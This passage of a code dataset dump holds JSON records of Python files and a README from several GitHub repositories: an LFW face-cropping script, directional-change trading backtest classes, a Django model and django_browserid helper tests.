range(int(num_images/batch_size)):\n\t\t\tlogging.info(\"Generation batch {}/{}\".format(batch_idx+1,int(num_images/batch_size)))\n\t\t\tnoise = np.random.uniform(0,1, size=[batch_size, 100])\n\t\t\tgenerated_images = generator_model.predict(noise)\n\n\t\t\tlogging.info(\"Saving images for {} (batch: {})...\".format(classname, batch_idx+1))\n\n\t\t\tgenerated_images *= 255\n\n\t\t\tfor img in generated_images:\n\t\t\t\tcv2.imwrite('{}/{}_{:04d}.jpg'.format(class_outpath, classname, imageidx), img.astype('int'))\n\t\t\t\timageidx += 1\n"
},
{
"alpha_fraction": 0.6953733563423157,
"alphanum_fraction": 0.7072835564613342,
"avg_line_length": 27.15584373474121,
"blob_id": "b16964524f29111d2e9864fa1e19be7f47dca942",
"content_id": "7f69ab76d69f8671be0656a0194bf17c97c46935",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2183,
"license_type": "no_license",
"max_line_length": 154,
"num_lines": 77,
"path": "/utilities/lfw_crop.py",
"repo_name": "vikashvverma/dlm",
"src_encoding": "UTF-8",
"text": "import argparse\nimport cv2\nimport logging\nimport os\nimport sys\nimport multiprocessing\n\n\nparser = argparse.ArgumentParser(description=\"Parse LFW dataset and crop faces\")\nparser.add_argument(\"-v\", \"--verbosity\", action=\"count\", help=\"Increase output verbosity (Can be specified multiple times for more verbosity)\", default=0)\nparser.add_argument(\"-f\", \"--force\", action=\"store_true\", help=\"Force and overwrite files that exists\")\n\nargs = parser.parse_args()\n\nloglevel = logging.ERROR\n\nif args.verbosity == 1:\n\tloglevel = logging.WARNING\nelif args.verbosity == 2:\n\tloglevel = logging.INFO\nelif args.verbosity == 3:\n\t\tloglevel = logging.DEBUG\n\t\nlogging.basicConfig(format='%(levelname)s:%(message)s', level=loglevel)\n\ndef lfw_face_crop(image_path):\n\t\n\tfilename = os.path.basename(image_path)\n\tdirname = os.path.basename(os.path.dirname(image_path))\n\n\tcropped_dir = \"data/cropped/lfw/{}\".format(dirname)\n\tcropped_path = \"{}/{}\".format(cropped_dir, filename)\n\t# Skip if exists\n\tif os.path.exists(cropped_path):\n\t\tif args.force:\n\t\t\tlogging.warn(\"--force is set, removing file\")\n\t\t\tos.remove(cropped_path)\n\t\telse:\n\t\t\treturn False\n\n\tlogging.debug(\"Creating folder for {}\".format(filename))\n\tos.makedirs(cropped_dir, exist_ok=True)\n\n\timage = cv2.imread(image_path)\n\tface_cascade = cv2.CascadeClassifier('utilities/resources/haarcascade/haarcascade_frontalface_alt2.xml')\n\tgray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\t\n\tfaces = face_cascade.detectMultiScale(\n\t\tgray,\n\t\tscaleFactor=1.1,\n\t\tminNeighbors=5,\n\t\tminSize=(40, 40),\n\t\tflags=0\n\t)\n\n\tif len(faces) != 1:\n\t\tlogging.info(\"Found {} faces in {}\".format(len(faces), image_path))\n\t\treturn False\n\n\t# Why for-loop for only one image? MEH\n\tfor i,(x,y,w,h) in enumerate(faces):\n\t\tcropped = image[y:y+h, x:x+w]\n\t\tcropped = cv2.resize(cropped, (64,64))\n\t\tlogging.debug(\"Saving {}\".format(cropped_path))\n\t\tcv2.imwrite(cropped_path, cropped)\n\n\treturn True\n\n\nif __name__ == '__main__':\n\tlogging.info(\"Getting all image paths\")\n\tfiles = []\n\tfor dirpath,dirnames,filenames in os.walk('data/lfw/lfw'):\n\t\tfor f in filenames:\n\t\t\tfiles.append('{}/{}'.format(dirpath,f))\n\tpool = multiprocessing.Pool()\n\tsuccess = pool.map(lfw_face_crop,files)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
}
] | 16 |
learner-gif/Trading-Optimization-using-Directional-Changes-and-AI | https://github.com/learner-gif/Trading-Optimization-using-Directional-Changes-and-AI | 5c4bf984c858fce879395bd4d3ebb5f3dd62f4fb | d3868d3f9324907f8c5bfad4fcbe52bf4912bc3f | fb22a258a85256c6bf6642c1076bcd67f488119a | refs/heads/main | 2023-03-06T05:36:36.312066 | 2021-02-11T07:00:40 | 2021-02-11T07:00:40 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.4804513156414032,
"alphanum_fraction": 0.4975946843624115,
"avg_line_length": 54.227054595947266,
"blob_id": "cb8768670d0dfd66113d9312e36be371ee136154",
"content_id": "484369f9941ce7a52a7cc6ffcae884b72c68200b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 11433,
"license_type": "no_license",
"max_line_length": 288,
"num_lines": 207,
"path": "/code/Single_Threshold_DC_trading_strategy.py",
"repo_name": "learner-gif/Trading-Optimization-using-Directional-Changes-and-AI",
"src_encoding": "UTF-8",
"text": "import numpy as np\nimport pandas as pd\nimport os\nimport sys\nimport math\nimport random\n\nnp.random.seed(20)\n\nclass Singledc: # Return the profit of a number of single_dc thresholds\n\n def __init__(self, num_of_singledc, stock_code, budget, dollar, generate_mode): \n self.num_of_singledc = num_of_singledc # number of single DC thresholds\n self.dc_interval = 1\n self.stock_code = stock_code\n self.budget = budget \n self.cash = [budget for i in range(self.num_of_singledc)] # the amount of cash we are currently holding\n self.PFL = [0 for i in range(self.num_of_singledc)] # the amount/quantity for the stock we are currently holding\n self.dollar = dollar #currency\n\n self.generate_threshold(generate_mode) # Randomly generate DC thresholds\n self.load_stock_data()\n self.trade_dc_pattern()\n\n def generate_threshold(self, generate_mode):\n single_range0 = 0\n single_range1 = 1 \n mode = generate_mode\n if mode == \"step up\":\n threshold_interval = [i / 100 for i in range(self.num_of_singledc + 1)]\n threshold = []\n for i in range(1, self.num_of_singledc + 1):\n threshold.append(random.uniform(threshold_interval[i-1], threshold_interval[i]))\n self.dc_threshold = np.array(threshold) \n \n if mode == \"single range\":\n threshold = []\n for i in range(self.num_of_singledc):\n threshold.append(random.uniform(single_range0 / 100, single_range1 / 100))\n self.dc_threshold = np.array(threshold) \n \n FIXED = True\n if FIXED:\n self.dc_threshold = np.array([0.0001, 0.00013, 0.00015, 0.00018, 0.0002])\n print(self.dc_threshold)\n print(\"threshold value: \",end='')\n for i in self.dc_threshold:\n print(\"{:0.4f}%, \".format(i * 100),end='')\n print()\n\n def load_stock_data(self):\n sys.path.append(\"..\") \n data_path = \"./stock_data/\" + str(self.stock_code) + \".csv\"\n self.data = pd.DataFrame(pd.read_csv(data_path))\n self.data['Trade_Price'] = self.data['Open'].shift(-1) # The open price of next day as trade price\n self.data = self.data[::self.dc_interval] # Change the observation time interval. \n self.data.reset_index(drop = True, inplace = True)\n\n def trade_dc_pattern(self):\n # Initialization\n event_dict = {} \n for dc in self.dc_threshold:\n event_dict[dc] = [True] # True -> Upward trend, False -> Downward trend\n b1 = 0 # b1 and b2 defines the trading window\n b2 = 1\n b3 = 1 # we want buy at the price close to the price trough P_trough and sell at the price close to the peak price P_peak \n Q = 1 # Q controls the trading quantity\n ru = rd = 2 # predicts the length of OS \n ph = [self.data['Close'][0] for i in range(self.num_of_singledc)] # the highest price in the current upward trend\n pl = [self.data['Close'][0] for i in range(self.num_of_singledc)] # the lowest price in the current downward trend\n Ppeak = self.data['Close'][0] # the highest recorded price \n Ptrough = self.data['Close'][0] # the lowest recorded price\n tdc_0 = [0 for i in range(self.num_of_singledc)] # directional change \n tdc_1 = [0 for i in range(self.num_of_singledc)]\n tos_0 = [0 for i in range(self.num_of_singledc)] # overshoot event\n tos_1 = [0 for i in range(self.num_of_singledc)]\n tU_0 = [0 for i in range(self.num_of_singledc)] # trading window\n tU_1 = [0 for i in range(self.num_of_singledc)]\n tD_0 = [0 for i in range(self.num_of_singledc)]\n tD_1 = [0 for i in range(self.num_of_singledc)] \n\n for idx in range(1, len(self.data)): \n WB = [0 for i in range(self.num_of_singledc)] # Weight of Buy\n WS = [0 for i in range(self.num_of_singledc)] # Weight of Sell\n Nup = [0 for i in range(self.num_of_singledc)] # the number of thresholds that recommending a sell action\n Ndown = [0 for i in range(self.num_of_singledc)] # the number of thresholds that recommending a buy action\n Pc = self.data[\"Close\"][idx] # current price \n Trade_Price = self.data['Trade_Price'][idx] # current trade price\n \n if self.data[\"Close\"][idx] > Ppeak:\n Ppeak = self.data[\"Close\"][idx]\n elif self.data[\"Close\"][idx] < Ptrough:\n Ptrough = self.data[\"Close\"][idx]\n \n for dc_idx, dc in enumerate(self.dc_threshold): \n if event_dict[dc][-1]: \n if self.data['Close'][idx] <= (ph[dc_idx] * (1 - dc)):\n event_dict[dc].append(False) # Confirmation point of downward DC\n try: \n if event_dict[dc][-3] == False and event_dict[dc][-2] == True: # for the case [False], [True], [False] -> 2 consecutive confirmation points\n tdc_0[dc_idx] = idx - 1\n except:\n pass \n pl[dc_idx] = self.data['Close'][idx]\n tdc_1[dc_idx] = idx\n tos_0[dc_idx] = idx + 1\n tD_0[dc_idx] = tdc_1[dc_idx] + 1 + (tdc_1[dc_idx] - tdc_0[dc_idx]) * rd * b1 # \"(tdc_1[dc_idx] - tdc_0[dc_idx]) * rd\" predicts the length of downward OS \n tD_1[dc_idx] = tdc_1[dc_idx] + 1 + (tdc_1[dc_idx] - tdc_0[dc_idx]) * rd * b2 # b1 and b2 defines the trading window\n else:\n event_dict[dc].append(event_dict[dc][-1]) # No DC \n if ph[dc_idx] < self.data['Close'][idx]:\n ph[dc_idx] = self.data['Close'][idx]\n tdc_0[dc_idx] = idx\n tos_1[dc_idx] = idx - 1\n else:\n try:\n if event_dict[dc][-3] == False and event_dict[dc][-2] == True: # [False], [True], [True] -> now is right after the confirmation point, yet it is not low enough to be directional change, but lower than or same as the confirmation point\n tdc_0[dc_idx] = idx - 1 \n except:\n pass \n else: # False -> Downward trend\n if self.data['Close'][idx] >= (pl[dc_idx] * (1 + dc)):\n event_dict[dc].append(True) # Confirmation point of upward DC\n try:\n if event_dict[dc][-3] == True and event_dict[dc][-2] == False: # for the case [True], [False], [True] -> 2 consecutive confirmation points\n tdc_0[dc_idx] = idx - 1\n except:\n pass\n ph[dc_idx] = self.data['Close'][idx]\n tdc_1[dc_idx] = idx\n tos_0[dc_idx] = idx + 1\n tU_0[dc_idx] = tdc_1[dc_idx] + 1 + (tdc_1[dc_idx] - tdc_0[dc_idx]) * ru * b1 # \"(tdc_1[dc_idx] - tdc_0[dc_idx]) * rd\" predicts the length of upward OS \n tU_1[dc_idx] = tdc_1[dc_idx] + 1 + (tdc_1[dc_idx] - tdc_0[dc_idx]) * ru * b2 # b1 and b2 defines the trading window\n else: \n event_dict[dc].append(event_dict[dc][-1]) # No DC\n if pl[dc_idx] > self.data['Close'][idx]:\n pl[dc_idx] = self.data['Close'][idx]\n tdc_0[dc_idx] = idx\n tos_1[dc_idx] = idx - 1\n else:\n try:\n if event_dict[dc][-3] == True and event_dict[dc][-2] == False: # [True], [False], [False] -> the current time point is right after the confirmation point, yet it is not high enough to be directional change, but higher than or same as the confirmation point\n tdc_0[dc_idx] = idx - 1\n except:\n pass\n # trade\n if event_dict[dc][-1] == False and event_dict[dc][-2] == False: # if event is downward trend and the current time point is not confirmation point\n WB[dc_idx] = WB[dc_idx] + 1\n if tD_0[dc_idx] <= idx and idx <= tD_1[dc_idx]: # if the current time point is within the trading window\n Ndown[dc_idx] += 1\n else:\n Ndown[dc_idx] -= 1\n\n if event_dict[dc][-1] == True and event_dict[dc][-2] == True: # if event is upward trend and the current time point is not confirmation point\n WS[dc_idx] = WS[dc_idx] + 1\n if tU_0[dc_idx] <= idx and idx <= tU_1[dc_idx]: # if the current time point is within the trading window\n Nup[dc_idx] += 1\n else:\n Nup[dc_idx] -= 1\n \n if WS[dc_idx] > WB[dc_idx]:\n# print(f\"WS > WB, Nup = {Nup}\") \n self.trade_action(\"sell\", b3, Nup[dc_idx], Ppeak, Pc, Trade_Price, Q, dc_idx) # sell\n elif WS[dc_idx] < WB[dc_idx]:\n# print(f\"WB > WS, Ndown = {Ndown}\")\n self.trade_action(\"buy\", b3, Ndown[dc_idx], Ptrough, Pc, Trade_Price, Q, dc_idx) # buy\n\n Wealth = []\n Return = []\n for i in range(len(self.cash)):\n final_Wealth = self.cash[i] + self.PFL[i] * Pc\n Wealth.append(final_Wealth)\n Return.append(100 * (final_Wealth - self.budget) / self.budget) # calculate return\n print()\n for i in range(len(Return)):\n print(f\"{self.dc_threshold[i]}: \")\n print(\"Wealth = {:0.4f} \".format(Wealth[i]) + self.dollar + \", Return = {:0.4f}\".format(Return[i]) + \"%\")\n \n def trade_action(self, action, b3, N, P, Pc, Trade_Price, Q, dc_idx): # performs the buy and sell actions\n if action == \"sell\":\n Nup = N\n if Nup > 0 and Pc >= P * b3: # sell\n Qtrade = Q\n if self.PFL[dc_idx] > Qtrade:\n self.cash[dc_idx] = self.cash[dc_idx] + Qtrade * Trade_Price\n self.PFL[dc_idx] = self.PFL[dc_idx] - Qtrade\n else:\n self.cash[dc_idx] = self.cash[dc_idx] + self.PFL[dc_idx] * Trade_Price\n self.PFL[dc_idx] = 0\n else:\n pass\n \n elif action == \"buy\":\n Ndown = N\n if Ndown > 0 and Pc <= P + (P * (1 - b3)): # buy\n Qtrade = Q\n if self.cash[dc_idx] > Qtrade * Trade_Price:\n self.cash[dc_idx] = self.cash[dc_idx] - Qtrade * Trade_Price\n self.PFL[dc_idx] = self.PFL[dc_idx] + Qtrade\n else:\n Qtrade_m = self.cash[dc_idx] // Trade_Price \n self.cash[dc_idx] = self.cash[dc_idx] - Qtrade_m * Trade_Price\n self.PFL[dc_idx] = self.PFL[dc_idx] + Qtrade_m\n else:\n pass\n \nVOO = Singledc(5, \"VOO_USD\", 100000, \"USD\", \"single range\") \n"
},
{
"alpha_fraction": 0.8229342103004456,
"alphanum_fraction": 0.824058473110199,
"avg_line_length": 221.375,
"blob_id": "b61ed2f8cca93c7ee6a68904f668050bd27b27b9",
"content_id": "7a78c20b49f2b26bd7f92e77a3609d041d57f629",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1779,
"license_type": "no_license",
"max_line_length": 825,
"num_lines": 8,
"path": "/README.md",
"repo_name": "learner-gif/Trading-Optimization-using-Directional-Changes-and-AI",
"src_encoding": "UTF-8",
"text": "# Trading-Optimization-using-Directional-Changes-and-AI\n### Objective: to demonstrate the DC trading strategies can produce at least 12% yearly returns and formulate the best DC trading strategy by comparing the results between different optimization algorithms\n\nMost of the financial forecasting methods use a traditional physical time scale, which is taken at fixed intervals (interval-based scale). In this project, an intrinsic time (event-based scale) using Directional Changes (DC) is applied to focus only on important points that a crucial event happened, filtering out other irrelevant price details and noise. In addition, this event-based scale is suitable to use in high frequency data. Using a traditional interval-based scale to study price fluctuations makes the flow of physical time discontinuous, so important price movements happening in several minutes cannot be captured. However, the intrinsic time using DC records all the key events in the market. In this project, we will take advantage of directional change paradigm to formulate different DC trading strategies.\n\n In this mid-term report, single-threshold DC trading strategy and multi-threshold DC trading strategy have been currently developed and used to generate preliminary results. In the future, the DC trading strategies will be combined with different heuristic algorithms which are genetic algorithm (GA), virus spread optimization (VSO) and particle swarm optimization (PSO) to optimize the parameters. The goal of this project is to demonstrate DC trading strategy can make profitable returns and find out the best DC trading strategy by comparing different heuristic algorithms.\n\n Please refer to the Trading Optimization using Directional Changes and AI Mid-Term Report.pdf for details\n"
},
{
"alpha_fraction": 0.4688357412815094,
"alphanum_fraction": 0.4878478944301605,
"avg_line_length": 51.86528396606445,
"blob_id": "b60446cd35cfef69a0e1306df221bda8c8fa3935",
"content_id": "fd982b89130c91a550f0033d372d4ce229236190",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 10204,
"license_type": "no_license",
"max_line_length": 295,
"num_lines": 193,
"path": "/code/Multi_Threshold_DC_trading_strategy.py",
"repo_name": "learner-gif/Trading-Optimization-using-Directional-Changes-and-AI",
"src_encoding": "UTF-8",
"text": "import numpy as np\nimport pandas as pd\nimport os\nimport sys\nimport math\nimport random\n\nnp.random.seed(20)\n\nclass Multidc:\n\n def __init__(self, num_of_dc, stock_code, budget, dollar): \n self.num_of_dc = num_of_dc # number of DC thresholds\n self.dc_interval = 1\n self.stock_code = stock_code\n self.budget = budget\n self.cash = budget # the amount of cash we are currently holding\n self.PFL = 0 # the amount/quantity for the stock we are currently holding\n self.dollar = dollar # currency\n\n self.generate_threshold() # Randomly generate DC thresholds\n self.load_stock_data()\n self.trade_dc_pattern() \n\n def generate_threshold(self):\n\n threshold_interval = [i / 100 for i in range(self.num_of_dc + 1)]\n threshold = []\n for i in range(1, self.num_of_dc + 1):\n threshold.append(random.uniform(threshold_interval[i-1], threshold_interval[i]))\n self.dc_threshold = np.array(threshold) \n\n FIXED = True\n if FIXED:\n self.dc_threshold = np.array([0.0001, 0.00013, 0.00015, 0.00018, 0.0002])\n print(self.dc_threshold)\n print(\"threshold value: \",end='')\n for i in self.dc_threshold:\n print(\"{:0.4f}%, \".format(i * 100),end='')\n print()\n\n def load_stock_data(self):\n sys.path.append(\"..\") \n data_path = \"./stock_data/\" + str(self.stock_code) + \".csv\"\n self.data = pd.DataFrame(pd.read_csv(data_path))\n self.data['Trade_Price'] = self.data['Open'].shift(-1) # The open price of next day as trade price\n self.data = self.data[::self.dc_interval] # Change the observation time interval. \n self.data.reset_index(drop = True, inplace = True)\n# print(self.data)\n\n def trade_dc_pattern(self):\n # Initialization\n event_dict = {} \n for dc in self.dc_threshold:\n event_dict[dc] = [True] # True -> Upward trend, False -> Downward trend\n b1 = 0 # b1 and b2 defines the trading window\n b2 = 1\n b3 = 1 # we want buy at the price close to the price trough P_trough and sell at the price close to the peak price P_peak \n Q = 1 # Q controls the trading quantity\n ru = rd = 2 # predicts the length of OS \n Wj = [1 for i in range(self.num_of_dc)] # Weight of each threshold = 1\n ph = [self.data['Close'][0] for i in range(self.num_of_dc)] # the highest price in the current upward trend\n pl = [self.data['Close'][0] for i in range(self.num_of_dc)] # the lowest price in the current downward trend\n Ppeak = self.data['Close'][0] # the highest recorded price \n Ptrough = self.data['Close'][0] # the lowest recorded price\n tdc_0 = [0 for i in range(self.num_of_dc)] # directional change \n tdc_1 = [0 for i in range(self.num_of_dc)]\n tos_0 = [0 for i in range(self.num_of_dc)] # overshoot event\n tos_1 = [0 for i in range(self.num_of_dc)]\n tU_0 = [0 for i in range(self.num_of_dc)] # trading window\n tU_1 = [0 for i in range(self.num_of_dc)]\n tD_0 = [0 for i in range(self.num_of_dc)]\n tD_1 = [0 for i in range(self.num_of_dc)] \n\n for idx in range(1, len(self.data)): \n WB = 0 # Weight of Buy\n WS = 0 # Weight of Sell\n Nup = 0 # the number of thresholds that recommending a sell action\n Ndown = 0 # the number of thresholds that recommending a buy action\n Pc = self.data[\"Close\"][idx] # current price \n Trade_Price = self.data['Trade_Price'][idx] # current trade price\n \n if self.data[\"Close\"][idx] > Ppeak:\n Ppeak = self.data[\"Close\"][idx]\n elif self.data[\"Close\"][idx] < Ptrough:\n Ptrough = self.data[\"Close\"][idx]\n \n for dc_idx, dc in enumerate(self.dc_threshold): \n if event_dict[dc][-1]: \n if self.data['Close'][idx] <= (ph[dc_idx] * (1 - dc)):\n event_dict[dc].append(False) # Confirmation point of downward DC\n try: #error when t = 1\n if event_dict[dc][-3] == False and event_dict[dc][-2] == True: # for the case [False], [True], [False] -> 2 consecutive confirmation points\n tdc_0[dc_idx] = idx - 1\n except:\n pass \n pl[dc_idx] = self.data['Close'][idx]\n tdc_1[dc_idx] = idx\n tos_0[dc_idx] = idx + 1\n tD_0[dc_idx] = tdc_1[dc_idx] + 1 + (tdc_1[dc_idx] - tdc_0[dc_idx]) * rd * b1 # \"(tdc_1[dc_idx] - tdc_0[dc_idx]) * rd\" predicts the length of downward OS \n tD_1[dc_idx] = tdc_1[dc_idx] + 1 + (tdc_1[dc_idx] - tdc_0[dc_idx]) * rd * b2 # b1 and b2 defines the trading window\n else:\n event_dict[dc].append(event_dict[dc][-1]) # No DC \n if ph[dc_idx] < self.data['Close'][idx]:\n ph[dc_idx] = self.data['Close'][idx]\n tdc_0[dc_idx] = idx\n tos_1[dc_idx] = idx - 1\n else:\n try:\n if event_dict[dc][-3] == False and event_dict[dc][-2] == True: # [False], [True], [True] -> the current time point is right after the confirmation point, yet its price is not low enough to be directional change, but lower than or same as the confirmation point\n tdc_0[dc_idx] = idx - 1 \n except:\n pass \n else: # False -> Downward trend\n if self.data['Close'][idx] >= (pl[dc_idx] * (1 + dc)):\n event_dict[dc].append(True) # Confirmation point of upward DC\n try:\n if event_dict[dc][-3] == True and event_dict[dc][-2] == False: # for the case [True], [False], [True] -> 2 consecutive confirmation points\n tdc_0[dc_idx] = idx - 1\n except:\n pass\n ph[dc_idx] = self.data['Close'][idx]\n tdc_1[dc_idx] = idx\n tos_0[dc_idx] = idx + 1\n tU_0[dc_idx] = tdc_1[dc_idx] + 1 + (tdc_1[dc_idx] - tdc_0[dc_idx]) * ru * b1 # \"(tdc_1[dc_idx] - tdc_0[dc_idx]) * rd\" predicts the length of upward OS \n tU_1[dc_idx] = tdc_1[dc_idx] + 1 + (tdc_1[dc_idx] - tdc_0[dc_idx]) * ru * b2 # b1 and b2 defines the trading window\n else: \n event_dict[dc].append(event_dict[dc][-1]) # No DC \n if pl[dc_idx] > self.data['Close'][idx]:\n pl[dc_idx] = self.data['Close'][idx]\n tdc_0[dc_idx] = idx\n tos_1[dc_idx] = idx - 1\n else:\n try:\n if event_dict[dc][-3] == True and event_dict[dc][-2] == False: # [True], [False], [False] -> the current time point is right after the confirmation point, yet its price is not high enough to be directional change, but higher than or same as the confirmation point\n tdc_0[dc_idx] = idx - 1\n except:\n pass\n # trade\n if event_dict[dc][-1] == False and event_dict[dc][-2] == False: # if event is downward trend and the current time point is not confirmation point\n WB = WB + Wj[dc_idx] \n if tD_0[dc_idx] <= idx and idx <= tD_1[dc_idx]: # if the current time point is within the trading window\n Ndown += 1\n else:\n Ndown -= 1\n \n if event_dict[dc][-1] == True and event_dict[dc][-2] == True: # if event is upward trend and the current time point is not confirmation point\n WS = WS + Wj[dc_idx] \n if tU_0[dc_idx] <= idx and idx <= tU_1[dc_idx]: # if the current time point is within the trading window\n Nup += 1\n else:\n Nup -= 1\n \n if WS > WB:\n self.trade_action(\"sell\", b3, Nup, Ppeak, Pc, Trade_Price, Q) # sell\n elif WS < WB:\n self.trade_action(\"buy\", b3, Ndown, Ptrough, Pc, Trade_Price, Q) # buy\n\n Wealth = self.cash + self.PFL * Pc\n Return = 100 * (Wealth - self.budget) / self.budget # calculate return\n print(Return)\n print(\"Wealth = {:0.4f} \".format(Wealth) + self.dollar + \", Return = {:0.4f}\".format(Return) + \"%\")\n \n def trade_action(self, action, b3, N, P, Pc, Trade_Price, Q): # performs the buy and sell actions\n N0 = self.num_of_dc\n if action == \"sell\":\n Nup = N\n if Nup > 0 and Pc >= P * b3: # sell\n Qtrade = math.floor((1 + Nup / N0) * Q)\n if self.PFL > Qtrade:\n self.cash = self.cash + Qtrade * Trade_Price\n self.PFL = self.PFL - Qtrade\n else:\n self.cash = self.cash + self.PFL * Trade_Price\n self.PFL = 0\n else:\n pass #hold\n \n elif action == \"buy\":\n Ndown = N\n if Ndown > 0 and Pc <= P + (P * (1 - b3)): # buy\n Qtrade = math.floor((1 + Ndown / N0) * Q)\n if self.cash > Qtrade * Trade_Price:\n self.cash = self.cash - Qtrade * Trade_Price\n self.PFL = self.PFL + Qtrade\n else:\n Qtrade_m = self.cash // Trade_Price \n self.cash = self.cash - Qtrade_m * Trade_Price\n self.PFL = self.PFL + Qtrade_m\n else:\n pass #hold\n \nHSBC = Multidc(5, \"0005.HK_HSBC_HKD\", 775335, \"HKD\") \n"
}
] | 3 |
kalail/Kalail | https://github.com/kalail/Kalail | f293b0a2214d3dddaf3fb74f9f08333f92180f1c | 476bef94b703a083b33ce111cf5b4c277dadf9e9 | fd20d575c90c27a2fd42440ff4686489357638e4 | refs/heads/master | 2021-01-22T23:43:37.435741 | 2013-04-04T00:34:36 | 2013-04-04T00:34:36 | 3,601,261 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7684563994407654,
"alphanum_fraction": 0.7684563994407654,
"avg_line_length": 26.18181800842285,
"blob_id": "99d28acc80250068059df907e6865574c409bba9",
"content_id": "0e3a9899bbb0705346d562f1558b30263089823e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 298,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 11,
"path": "/kalail/keepalive/models.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from django.db import models\nfrom django.contrib.auth.models import User\n\n# Create your models here.\nclass KeepAliveWebsite(models.Model):\n\turl = models.URLField()\n\tusers = models.ManyToManyField(User)\n\tcreated_on = models.DateTimeField(auto_now_add=True)\n\n\tdef __unicode__(self):\n\t\treturn self.url"
},
{
"alpha_fraction": 0.582771360874176,
"alphanum_fraction": 0.5899499654769897,
"avg_line_length": 37.95762634277344,
"blob_id": "f288b54afcdc0da668baf5dca01dcb94693db45d",
"content_id": "70b1f6c384617d799500bd9307898b24293e0d65",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4597,
"license_type": "no_license",
"max_line_length": 83,
"num_lines": 118,
"path": "/kalail/django_browserid/tests/test_helpers.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from django.contrib.auth.models import AnonymousUser, User\nfrom django.test import TestCase\nfrom django.test.client import RequestFactory\n\nfrom mock import patch\nfrom pyquery import PyQuery as pq\n\nfrom django_browserid.helpers import (browserid_button, browserid_image_link,\n browserid_info, browserid_js,\n browserid_login, browserid_logout)\nfrom django_browserid.tests import patch_settings\n\n\n@patch('django_browserid.helpers.FORM_JAVASCRIPT',\n ('test1.js', 'test2.js'))\n@patch('django_browserid.helpers.BROWSERID_SHIM',\n 'https://example.com/test3.js')\nclass BrowserIDJSTests(TestCase):\n def test_basic(self):\n output = browserid_js()\n self.assertTrue('src=\"static/test1.js\"' in output)\n self.assertTrue('src=\"static/test2.js\"' in output)\n self.assertTrue('src=\"https://example.com/test3.js\"' in output)\n\n def test_no_shim(self):\n output = browserid_js(include_shim=False)\n self.assertTrue('src=\"static/test1.js\"' in output)\n self.assertTrue('src=\"static/test2.js\"' in output)\n self.assertTrue('src=\"https://example.com/test3.js\"' not in output)\n\n\nclass BrowserIDButtonTests(TestCase):\n def test_basic(self):\n button = browserid_button(text='asdf', next='1234',\n link_class='fake-button',\n attrs={'target': '_blank'})\n a = pq(button)('a')\n\n self.assertTrue(a.hasClass('fake-button'))\n self.assertEqual(a.attr('href'), '#')\n self.assertEqual(a.attr('data-next'), '1234')\n self.assertEqual(a.text(), 'asdf')\n self.assertEqual(a.attr('target'), '_blank')\n\n def test_json_attrs(self):\n button = browserid_button(text='qwer', next='5678',\n link_class='fake-button',\n attrs='{\"target\": \"_blank\"}')\n a = pq(button)('a')\n\n self.assertTrue(a.hasClass('fake-button'))\n self.assertEqual(a.attr('href'), '#')\n self.assertEqual(a.attr('data-next'), '5678')\n self.assertEqual(a.attr('target'), '_blank')\n self.assertEqual(a.text(), 'qwer')\n\n def test_login_class(self):\n # If browserid-login isn't in the link_class argument, it should be\n # appended to it prior to calling browserid_button.\n button = browserid_login(link_class='go button')\n a = pq(button)('a')\n\n self.assertTrue(a.hasClass('browserid-login'))\n\n def test_logout_class(self):\n # If browserid-logout isn't in the link_class argument, it should be\n # appended to it prior to calling browserid_button.\n button = browserid_logout(link_class='go button')\n a = pq(button)('a')\n\n self.assertTrue(a.hasClass('browserid-logout'))\n\n def test_image(self):\n button = browserid_login(image='plain_sign_in_red.png', next='1234',\n link_class='fake-button',\n attrs={'target': '_blank'})\n a = pq(button)('a')\n img = pq(button)('img')\n\n self.assertTrue(a.hasClass('fake-button'))\n self.assertEqual(a.attr('href'), '#')\n self.assertEqual(a.attr('data-next'), '1234')\n self.assertEqual(a.text(), '')\n self.assertEqual(a.attr('target'), '_blank')\n self.assertEqual(img.attr('src'), 'static/browserid/plain_sign_in_red.png')\n \n\nclass BrowserIDInfoTests(TestCase):\n def setUp(self):\n self.factory = RequestFactory()\n\n def test_defaults(self):\n request = self.factory.get('/')\n request.user = AnonymousUser()\n info = browserid_info(request)\n d = pq(info)\n\n info_div = d('#browserid-info')\n self.assertEqual(info_div.attr('data-user-email'), '')\n self.assertEqual(info_div.attr('data-request-args'), '{}')\n\n form = d('#browserid-form')\n self.assertEqual(form.attr('action'), '/browserid/login/')\n\n @patch_settings(BROWSERID_REQUEST_ARGS={'siteName': 'asdf'})\n def test_custom_values(self):\n request = self.factory.get('/')\n request.user = User.objects.create_user('asdf', '[email protected]')\n info = browserid_info(request)\n d = pq(info)\n\n info_div = d('#browserid-info')\n self.assertEqual(info_div.attr('data-user-email'), '[email protected]')\n self.assertEqual(info_div.attr('data-request-args'),\n '{\"siteName\": \"asdf\"}')\n\n form = d('#browserid-form')\n self.assertEqual(form.attr('action'), '/browserid/login/')\n"
},
{
"alpha_fraction": 0.7243027687072754,
"alphanum_fraction": 0.7314741015434265,
"avg_line_length": 25.16666603088379,
"blob_id": "097eaabb0ff6512242712e44e9ca916e06a62161",
"content_id": "321cacca10ca35f74471c7243287ac4cc23480f1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1255,
"license_type": "no_license",
"max_line_length": 89,
"num_lines": 48,
"path": "/kalail/blog/scripts/save_comment_user_ids.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
